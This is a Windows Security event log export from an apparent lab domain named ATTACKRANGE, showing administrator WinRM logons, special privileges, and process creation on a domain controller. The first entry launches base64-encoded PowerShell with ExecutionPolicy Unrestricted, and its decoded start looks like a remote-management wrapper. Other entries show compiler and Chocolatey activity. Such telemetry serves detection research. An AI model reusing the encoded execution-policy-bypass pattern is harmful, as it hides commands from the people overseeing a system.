	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245928
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3C097

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245927
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3C097
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245926
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245925
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245924
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd8c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xda0
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245923
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Process Information:
	New Process ID:		0xda0
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x3b4
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245922
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245921
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245920
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245919
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245946
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdbc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf9c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES542A.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSC7129A8F8799A44D39D9AB6BDD47FC27D.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245945
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3DFC1

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:39:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245944
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3DFC1
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:39:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Logon
OpCode=Info
RecordNumber=245943
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x5c8
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:39:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4776
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Credential Validation
OpCode=Info
RecordNumber=245942
Keywords=Audit Success
Message=The computer attempted to validate the credentials for an account.

Authentication Package:	MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
Logon Account:	Administrator
Source Workstation:	WIN-DC-725
Error Code:	0x0
03/11/2021 11:39:27 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245941
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf9c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe44
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\kf53lbph.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245947
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd74
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe44
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	powershell.exe -

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245951
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd00
	New Process Name:	C:\Windows\System32\setx.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd74
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate "132590755597261036"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245950
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd68
	New Process Name:	C:\Windows\System32\setx.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd74
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\setx.exe" ChocolateyLastPathUpdate "132590755593511041"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:39:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245949
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x3BE34

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe3c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xec4
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES69C6.tmp" "c:\Users\Administrator\AppData\Local\Temp\eonvpczh\CSC338F633159C148AB99DB81A9BCC23CDD.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

